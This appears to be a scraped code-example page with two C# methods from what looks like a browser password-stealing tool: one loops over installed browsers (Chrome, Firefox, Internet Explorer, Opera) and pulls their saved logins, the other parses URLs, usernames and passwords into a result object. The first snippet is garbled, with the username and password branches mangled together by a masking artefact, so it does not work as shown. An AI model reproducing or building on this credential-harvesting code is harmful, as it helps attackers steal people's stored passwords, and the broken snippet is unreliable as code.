Example #1
0
 /// <summary>
 /// Browsers the saved logins data parse.
 /// </summary>
 /// <param name="ROnGetAllBrowserPasswordsResponse">The r on get all browser passwords response.</param>
 /// <param name="BrowserSavedLoginsDataToParse">The browser saved logins data to parse.</param>
 /// <param name="BrowserName">Name of the browser.</param>
 private static void BrowserSavedLoginsDataParse(OnGetAllBrowserPasswordsResponse ROnGetAllBrowserPasswordsResponse, string BrowserSavedLoginsDataToParse, string BrowserName)
 {
     try {
         string[] Lines = BrowserSavedLoginsDataToParse.Split("\r\n".ToCharArray(), StringSplitOptions.RemoveEmptyEntries);
         OnGetAllBrowserPasswordsResponse.SavedLogins CurrentSavedLogins = null;
         foreach (string CurrentLine in Lines)
         {
             if (CurrentLine.StartsWith("Url="))
             {
                 CurrentSavedLogins = new OnGetAllBrowserPasswordsResponse.SavedLogins();
                 CurrentSavedLogins.TargetBrowserName = BrowserName;
                 //CurrentSavedLogins.Url = CurrentLine;
                 CurrentSavedLogins.Url = CurrentLine.Substring(4);
             }
             else if (CurrentLine.StartsWith("UserName="******"Password="))
             {
                 CurrentSavedLogins.Password = CurrentLine.Substring(9);
                 ROnGetAllBrowserPasswordsResponse.savedlogins.Add(CurrentSavedLogins);
             }
         }
     }catch (Exception ex)
     {
         ROnGetAllBrowserPasswordsResponse.Errors.AddErrorToErrorList(MethodBase.GetCurrentMethod().ToString(), ex.Message);
     }
 }
Example #2
0
        /// <summary>
        /// Called when [get all browser passwords].
        /// </summary>
        /// <returns>OnGetAllBrowserPasswordsResponse class object</returns>
        public static OnGetAllBrowserPasswordsResponse OnGetAllBrowserPasswords()
        {
            OnGetAllBrowserPasswordsResponse ROnGetAllBrowserPasswordsResponse = new OnGetAllBrowserPasswordsResponse();

            try
            {
                OnGetBrowserListResponse Browsers    = OnGetBrowserList();
                string BrowserSavedLoginsDataToParse = "";
                foreach (string BrowserName in Browsers.BrowserList)
                {
                    if (BrowserName == "Google Chrome")
                    {
                        BrowserSavedLoginsDataToParse = Chrome.Chrome.OnGetChromePasswords();
                    }
                    else if (BrowserName == "FIREFOX.EXE")
                    {
                        BrowserSavedLoginsDataToParse = Firefox.Firefox.OnGetFirefoxPassword();
                    }
                    else if (BrowserName == "IEXPLORE.EXE")
                    {
                        BrowserSavedLoginsDataToParse = IE.IE.OnGetIEPassword();
                    }
                    else if (BrowserName == "OperaStable")
                    {
                        BrowserSavedLoginsDataToParse = Opera.Opera.OnGetOperaPassword();
                    }

                    BrowserSavedLoginsDataParse(ROnGetAllBrowserPasswordsResponse, BrowserSavedLoginsDataToParse, BrowserName);
                }
            }
            catch (Exception ex)
            {
                ROnGetAllBrowserPasswordsResponse.Errors.AddErrorToErrorList(MethodBase.GetCurrentMethod().ToString(), ex.Message);
            }


            return(ROnGetAllBrowserPasswordsResponse);
        }